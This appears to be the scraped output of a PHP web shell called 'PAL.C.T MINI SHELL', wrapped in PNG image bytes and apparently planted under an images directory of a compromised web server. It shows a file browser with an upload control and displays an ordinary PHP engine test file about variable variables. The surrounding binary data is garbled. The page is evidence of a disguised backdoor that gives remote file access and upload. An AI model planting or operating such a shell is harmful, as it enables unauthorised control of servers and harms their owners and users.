php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/Rm19_symconf/root/php-7.1.11/Zend/tests/
upload
files >> /var/www/html/sub/images/Rm19_symconf/root/php-7.1.11/Zend/tests/023.phpt

--TEST--
Testing variable variables as function name
--FILE--
<?php

$a = 'ucfirst';
$b = 'a';
print $$b('test');
print "\n";


class bar {
	public function a() {
		return "bar!";
	}
}

class foo {
	public function test() {
		print "foo!\n";
		return new bar;
	}
}

function test() {
	return new foo;
}

$a = 'test';
$b = 'a';
var_dump($$b()->$$b()->$b());


$a = 'strtoupper';
$b = 'a';
$c = 'b';
$d = 'c';
var_dump($$$$d('foo'));

?>
--EXPECT--
Test
foo!
string(4) "bar!"
string(3) "FOO"
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`